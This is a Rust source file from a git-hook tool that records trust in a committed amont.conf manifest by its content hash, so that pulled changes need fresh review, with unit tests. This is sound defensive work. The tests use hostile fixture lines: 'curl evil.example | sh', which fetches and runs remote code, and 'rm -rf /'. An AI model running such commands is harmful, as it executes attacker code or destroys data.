Skip to main content

amont_runtime/
trust.rs

1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44pub const KEY: &str = "amont.trusted";
45
46/// Content id of `path`, as git would compute it.
47///
48/// `--no-filters`, because consent is bound to CONTENT and the content that
49/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
50/// filter and eol conversion configured by the repository's own committed
51/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
52/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
53/// and two manifests we would parse differently can hash identically. The
54/// binding was to content-after-a-repo-controlled-transform.
55pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56    crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59/// The same identity, for bytes already in hand.
60///
61/// `--stdin` is never filtered, so this names exactly the buffer given to it.
62/// Used where the caller has read the file and is about to act on THAT read:
63/// hashing the path again would be a second read, and the two can differ.
64pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65    crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68/// What the repository has recorded, if anything.
69pub fn recorded(repo: &Path) -> Option<String> {
70    crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75    /// No manifest. The overwhelmingly common case, and it must cost nothing.
76    NoManifest,
77    /// Trusted, and the file still has the bytes that were trusted.
78    Trusted,
79    /// Never trusted here.
80    Untrusted,
81    /// Trusted once, and edited since. Distinct from `Untrusted` because the
82    /// message should say which happened — "somebody changed it" is a different
83    /// thing to tell a reader than "you have not looked at this yet".
84    Changed,
85}
86
87/// Decide whether `repo`'s manifest may run.
88pub fn state(repo: &Path) -> State {
89    let manifest = repo.join(crate::manifest::MANIFEST);
90    if !manifest.is_file() {
91        return State::NoManifest;
92    }
93    let Some(current) = fingerprint(repo, &manifest) else {
94        // Cannot compute it, so cannot claim it matches.
95        return State::Untrusted;
96    };
97    verdict(repo, &current)
98}
99
100/// The same decision, about bytes the caller already holds.
101///
102/// For anyone who has read the manifest and is about to act on THAT read.
103/// Re-opening the file to decide whether the first read may run is two reads of
104/// something that can change in between, and the whole point of the record is
105/// that it names the content being executed.
106pub fn state_of(repo: &Path, source: &[u8]) -> State {
107    let Some(current) = fingerprint_bytes(repo, source) else {
108        return State::Untrusted;
109    };
110    verdict(repo, &current)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114    match recorded(repo) {
115        Some(seen) if seen == current => State::Trusted,
116        Some(_) => State::Changed,
117        None => State::Untrusted,
118    }
119}
120
121/// Record the manifest as it stands now.
122pub fn record(repo: &Path) -> Result<String, String> {
123    let manifest = repo.join(crate::manifest::MANIFEST);
124    let fp = fingerprint(repo, &manifest)
125        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126    record_verified(repo, &fp)?;
127    Ok(fp)
128}
129
130/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
131///
132/// The gap this closes: `describe()` prints the manifest, then — in
133/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
134/// several seconds, before anything is recorded. A plain re-hash at that
135/// point trusts whatever is on disk THEN, which is not necessarily what was
136/// shown; a file changed in that window would be trusted without ever having
137/// been reviewed, which is the exact thing this module exists to prevent.
138/// Callers fingerprint what they show BEFORE asking, and pass that same
139/// value here — verified again, not merely assumed, once the answer is in.
140pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141    let manifest = repo.join(crate::manifest::MANIFEST);
142    let now = fingerprint(repo, &manifest)
143        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144    if now != fp {
145        return Err(format!(
146            "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147            crate::manifest::MANIFEST
148        ));
149    }
150    let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151    if !ok {
152        return Err(format!("cannot record {KEY} in this repository"));
153    }
154    Ok(())
155}
156
157/// Forget it.
158pub fn revoke(repo: &Path) -> Result<(), String> {
159    // `--unset` exits 5 when the key is absent, which is not a failure here.
160    let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161    Ok(())
162}
163
164/// The reason an external does not run, phrased for the check's own report.
165pub fn why(state: State) -> Option<&'static str> {
166    match state {
167        State::NoManifest | State::Trusted => None,
168        State::Untrusted => {
169            Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170        }
171        State::Changed => {
172            Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173        }
174    }
175}
176
177/// Show what the manifest declares, so the decision is made with it in view.
178///
179/// Printing the lines is the whole point: "trust this file" is not a question
180/// anybody can answer without seeing it, and a prompt that does not show it is
181/// a prompt that trains people to press y.
182pub fn describe(repo: &Path) -> String {
183    describe_source(
184        &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185    )
186}
187
188/// The same listing, rendered from text the caller already read.
189///
190/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
191/// reads of a file somebody is deciding about can disagree, and the decision
192/// would then be recorded about bytes nobody was shown.
193pub fn describe_source(text: &str) -> String {
194    use std::fmt::Write;
195    let mut out = String::new();
196    let lines = crate::manifest::parse_lines(text);
197    // Policy and tool-pin lines are rendered as their own blocks below —
198    // they are not checks, and running them through the check table printed
199    // them as `! broken`, which told the person consenting that something
200    // was WRONG with the very lines they were being asked to approve.
201    let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
202    for line in checks {
203        let (name, stage, parsed) = line.into_parts();
204        // Every field here is repo-controlled, and this is the text somebody
205        // is about to say yes to. Sanitised BEFORE the padding, so the column
206        // widths are computed on what is actually printed — an escape sequence
207        // is zero columns wide and would silently shift the alignment even if
208        // it did nothing worse. See `ui::sanitize` for what a concealed
209        // declaration bought.
210        let name = crate::ui::sanitize(&name);
211        match parsed {
212            Ok(declared) => {
213                let _ = writeln!(
214                    out,
215                    "      {name:<14} {:<10} {}",
216                    stage.as_str(),
217                    crate::ui::sanitize(&declared.command())
218                );
219            }
220            Err(why) => {
221                let _ = writeln!(
222                    out,
223                    "      {name:<14} {:<10} ! {}",
224                    stage.as_str(),
225                    crate::ui::sanitize(&why.to_string())
226                );
227            }
228        }
229    }
230    let pins: Vec<String> = rest
231        .iter()
232        .filter_map(|l| match l {
233            crate::manifest::Line::Tool(pin) => {
234                Some(format!("tool      {}  {}", pin.program, pin.want))
235            }
236            _ => None,
237        })
238        .collect();
239    let policy: Vec<String> = rest
240        .iter()
241        .filter_map(|l| match l {
242            crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
243            _ => None,
244        })
245        .collect();
246    if !policy.is_empty() {
247        let _ = writeln!(out, "    and sets policy for built-in checks:");
248        for p in policy {
249            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
250        }
251    }
252    if !pins.is_empty() {
253        let _ = writeln!(out, "    and pins tool versions (verified, warn-only):");
254        for p in pins {
255            let _ = writeln!(out, "      {}", crate::ui::sanitize(&p));
256        }
257    }
258    out
259}
260
261/// A yes/no on the terminal, or `false` when there is nobody to ask.
262///
263/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
264/// that read stdin would consume something else's input. Same reason
265/// `package-lock` does it, and the third copy of this is where it becomes a
266/// shared function.
267#[cfg(unix)]
268pub fn confirm(prompt: &str) -> bool {
269    use std::io::{BufRead, BufReader, Write};
270    let Ok(tty) = std::fs::File::open("/dev/tty") else {
271        return false;
272    };
273    print!("{prompt}");
274    let _ = std::io::stdout().flush();
275    let mut line = String::new();
276    if BufReader::new(tty).read_line(&mut line).is_err() {
277        return false;
278    }
279    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
280}
281
282/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
283/// something else holds stdin. Before this, Windows always declined —
284/// `amont trust` could never be granted interactively there, so every
285/// declared check spent its life politely disabled for the Windows
286/// minority of a team.
287///
288/// **Gated on stdin actually being a console**, which is the whole
289/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
290/// controlling terminal, so unix gets its "nobody to ask" answer for free;
291/// `CONIN$` opens whenever the process has a console at all — which a CI
292/// runner does — and then blocks forever on a read nobody will answer.
293/// That is not hypothetical: it hung four install tests until the Windows
294/// job timed out, at 20 minutes, the first time this shipped without the
295/// gate. A redirected stdin (git handing a hook a pipe, a test using
296/// `Stdio::null()`, a script piping input) therefore declines, exactly as
297/// before — the prompt is for a human who typed a command, and a human who
298/// typed a command has a console on stdin.
299#[cfg(windows)]
300pub fn confirm(prompt: &str) -> bool {
301    use std::io::{BufRead, BufReader, Write};
302    if !stdin_is_a_console() {
303        return false;
304    }
305    let Ok(con) = std::fs::File::open("CONIN$") else {
306        return false;
307    };
308    print!("{prompt}");
309    let _ = std::io::stdout().flush();
310    let mut line = String::new();
311    if BufReader::new(con).read_line(&mut line).is_err() {
312        return false;
313    }
314    matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
315}
316
317/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
318///
319/// `GetConsoleMode` succeeds only for a console handle — the standard way
320/// to ask on Windows, and one kernel32 call, so this stays dependency-free
321/// like the signal handler in `staged_only`.
322#[cfg(windows)]
323fn stdin_is_a_console() -> bool {
324    const STD_INPUT_HANDLE: u32 = -10i32 as u32;
325    #[link(name = "kernel32")]
326    extern "system" {
327        fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
328        fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
329    }
330    let mut mode = 0u32;
331    unsafe {
332        let handle = GetStdHandle(STD_INPUT_HANDLE);
333        if handle.is_null() {
334            return false;
335        }
336        GetConsoleMode(handle, &mut mode) != 0
337    }
338}
339
340/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
341#[cfg(not(any(unix, windows)))]
342pub fn confirm(_prompt: &str) -> bool {
343    false
344}
345
346/// `amont trust [--show|--revoke]`.
347pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
348    // Refuse rather than fall back to ".". Trust is RECORDED per repository,
349    // keyed by the root this resolves to, so a "." root outside a repository
350    // meant `amont trust` in `~` would read `~/amont.conf`, show its
351    // declarations, and record trust for them — against a repository that does
352    // not exist, in a state no later `amont trust --revoke` would find.
353    let root = crate::hooks::common::repo_root_checked()?;
354    let root = Path::new(&root);
355    let flag = |f: &str| args.iter().any(|a| a == f);
356
357    if flag("--revoke") {
358        revoke(root)?;
359        println!("{} amont.conf is no longer trusted here", valid_sign());
360        return Ok(());
361    }
362
363    let state = state(root);
364    if state == State::NoManifest {
365        println!("no {} in this repository", crate::manifest::MANIFEST);
366        return Ok(());
367    }
368
369    if flag("--show") {
370        println!("{}", crate::manifest::MANIFEST);
371        print!("{}", describe(root));
372        println!(
373            "    {}",
374            match state {
375                State::Trusted => "trusted here",
376                State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
377                _ => "not trusted here — not running",
378            }
379        );
380        return Ok(());
381    }
382
383    if state == State::Trusted {
384        println!("{} already trusted, unchanged", valid_sign());
385        return Ok(());
386    }
387
388    // One read: the bytes shown are the bytes fingerprinted, and
389    // `record_verified` then confirms they are still the bytes on disk. Read
390    // twice, and the listing somebody approved need not be what got recorded.
391    let manifest = root.join(crate::manifest::MANIFEST);
392    let source =
393        std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
394    let fp = fingerprint_bytes(root, &source)
395        .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
396    println!("{} declares:", crate::manifest::MANIFEST);
397    print!("{}", describe_source(&String::from_utf8_lossy(&source)));
398    record_verified(root, &fp)?;
399    println!("{} trusted ({fp})", valid_sign());
400    Ok(())
401}
402
403#[cfg(test)]
404mod tests {
405    use super::*;
406
407    fn repo(name: &str) -> std::path::PathBuf {
408        let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
409        let _ = std::fs::remove_dir_all(&d);
410        std::fs::create_dir_all(&d).unwrap();
411        std::process::Command::new("git")
412            .args(["init", "-q", "--template=", "."])
413            .current_dir(&d)
414            .output()
415            .expect("git");
416        d
417    }
418
419    fn write_manifest(dir: &Path, body: &str) {
420        std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
421    }
422
423    /// Ninety-six repositories have no manifest. That must be free and silent.
424    #[test]
425    fn no_manifest_is_not_a_trust_question() {
426        let d = repo("none");
427        assert_eq!(state(&d), State::NoManifest);
428        assert_eq!(why(State::NoManifest), None);
429        let _ = std::fs::remove_dir_all(&d);
430    }
431
432    #[test]
433    fn a_manifest_starts_untrusted() {
434        let d = repo("new");
435        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
436        assert_eq!(state(&d), State::Untrusted);
437        let _ = std::fs::remove_dir_all(&d);
438    }
439
440    #[test]
441    fn recording_makes_it_trusted() {
442        let d = repo("record");
443        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
444        record(&d).expect("record");
445        assert_eq!(state(&d), State::Trusted);
446        let _ = std::fs::remove_dir_all(&d);
447    }
448
449    /// The property the whole design turns on: consent is to CONTENT, so a
450    /// `git pull` that adds a command cannot inherit it.
451    #[test]
452    fn editing_the_manifest_revokes_trust() {
453        let d = repo("edit");
454        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
455        record(&d).expect("record");
456        assert_eq!(state(&d), State::Trusted);
457
458        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
459        assert_eq!(
460            state(&d),
461            State::Changed,
462            "a manifest edited after trusting must not still be trusted"
463        );
464        // And it says which happened, because "you have not looked at this" is
465        // a different sentence to "somebody changed it".
466        assert!(why(State::Changed).expect("reason").contains("changed"));
467        let _ = std::fs::remove_dir_all(&d);
468    }
469
470    /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
471    /// fingerprints what it showed, waits on a keypress, then must not trust
472    /// whatever is on disk by the time the answer comes back if that is not
473    /// what was actually shown.
474    #[test]
475    fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
476        let d = repo("changed-mid-confirm");
477        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
478        let manifest = d.join(crate::manifest::MANIFEST);
479        let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
480
481        // The file is rewritten in the window a real confirm() would have
482        // been blocking on a keypress.
483        write_manifest(&d, "pre-commit  a  *  block  curl evil.example | sh\n");
484
485        let err = record_verified(&d, &shown_fp).expect_err("must refuse");
486        assert!(err.contains("changed"), "{err}");
487        assert_eq!(
488            state(&d),
489            State::Untrusted,
490            "the rewritten content must not end up trusted"
491        );
492        let _ = std::fs::remove_dir_all(&d);
493    }
494
495    /// The ordinary path still works: nothing changed, so the fingerprint
496    /// shown is the fingerprint recorded.
497    #[test]
498    fn record_verified_accepts_a_manifest_that_did_not_change() {
499        let d = repo("unchanged");
500        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
501        let manifest = d.join(crate::manifest::MANIFEST);
502        let fp = fingerprint(&d, &manifest).expect("fingerprint");
503        record_verified(&d, &fp).expect("record");
504        assert_eq!(state(&d), State::Trusted);
505        let _ = std::fs::remove_dir_all(&d);
506    }
507
508    #[test]
509    fn revoking_returns_it_to_untrusted() {
510        let d = repo("revoke");
511        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
512        record(&d).expect("record");
513        revoke(&d).expect("revoke");
514        assert_eq!(state(&d), State::Untrusted);
515        // Twice is not an error: `git config --unset` exits 5 on a missing key.
516        revoke(&d).expect("revoke again");
517        let _ = std::fs::remove_dir_all(&d);
518    }
519
520    /// Reproducible by hand, which is the point of using git's own identity.
521    #[test]
522    fn the_fingerprint_is_git_hash_object() {
523        let d = repo("fp");
524        write_manifest(&d, "pre-commit  a  *  block  echo hi\n");
525        let manifest = d.join(crate::manifest::MANIFEST);
526        let ours = fingerprint(&d, &manifest).expect("fingerprint");
527        let theirs = String::from_utf8_lossy(
528            &std::process::Command::new("git")
529                .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
530                .current_dir(&d)
531                .output()
532                .expect("git")
533                .stdout,
534        )
535        .trim()
536        .to_string();
537        assert_eq!(ours, theirs);
538        let _ = std::fs::remove_dir_all(&d);
539    }
540    /// A repository must not choose the transform its own consent is taken
541    /// through.
542    ///
543    /// `.gitattributes` is committed, so the repo picks the clean filter; plain
544    /// `git hash-object` applies it. With one that collapses everything to a
545    /// constant, two manifests this parser reads DIFFERENTLY are given the same
546    /// id — so a trusted fingerprint would cover content nobody reviewed.
547    #[test]
548    fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
549        let d = repo("filter");
550        std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
551            .expect("write attributes");
552        let ok = std::process::Command::new("git")
553            .args(["config", "--local", "filter.flatten.clean", "echo same"])
554            .current_dir(&d)
555            .status()
556            .map(|s| s.success())
557            .unwrap_or(false);
558        if !ok {
559            return; // no git to configure; nothing to assert
560        }
561        let manifest = d.join(crate::manifest::MANIFEST);
562
563        write_manifest(&d, "pre-commit  a  *  block  echo one\n");
564        let filtered_a = raw_hash(&d, &manifest);
565        let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
566
567        write_manifest(&d, "pre-commit  b  *  block  rm -rf /\n");
568        let filtered_b = raw_hash(&d, &manifest);
569        let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
570
571        // The collision has to EXIST before its absence means anything. A
572        // clean filter is an external program run through git's own shell, and
573        // whether `echo` resolves that way is the platform's business, not
574        // ours — Git for Windows does not collapse these. Say so and stop,
575        // rather than report a fixture that would not build as a defect in the
576        // code under test. `an_eol_conversion_cannot_...` below covers the same
577        // property with no external program involved and runs everywhere.
578        if filtered_a != filtered_b {
579            println!(
580                "! clean filters do not apply here — collision not reproducible, \
581                 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
582            );
583            return;
584        }
585        assert_ne!(
586            ours_a, ours_b,
587            "the fingerprint followed a repo-controlled filter"
588        );
589    }
590
591    /// The same property, with git's own eol conversion instead of an external
592    /// filter — so it holds on every platform.
593    ///
594    /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
595    /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
596    /// files differing only in line endings hash identically. That is a weaker
597    /// lever than a clean filter (the parser reads both the same way), but it
598    /// is the same mistake: the id names content-after-a-repo-controlled
599    /// transform rather than the bytes we read.
600    #[test]
601    fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
602        let d = repo("eol");
603        std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
604            .expect("write attributes");
605        let manifest = d.join(crate::manifest::MANIFEST);
606
607        // Byte-different, line-ending-identical-after-normalisation.
608        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\r\n").expect("crlf");
609        let filtered_crlf = raw_hash(&d, &manifest);
610        let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
611
612        std::fs::write(&manifest, b"pre-commit  a  *  block  echo one\n").expect("lf");
613        let filtered_lf = raw_hash(&d, &manifest);
614        let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
615
616        if filtered_crlf != filtered_lf {
617            println!("! eol conversion does not apply here — collision not reproducible");
618            return;
619        }
620        assert_ne!(
621            ours_crlf, ours_lf,
622            "the fingerprint followed a repo-controlled eol conversion"
623        );
624    }
625
626    fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
627        String::from_utf8_lossy(
628            &std::process::Command::new("git")
629                .args(["hash-object", manifest.to_str().unwrap()])
630                .current_dir(dir)
631                .output()
632                .expect("git")
633                .stdout,
634        )
635        .trim()
636        .to_string()
637    }
638}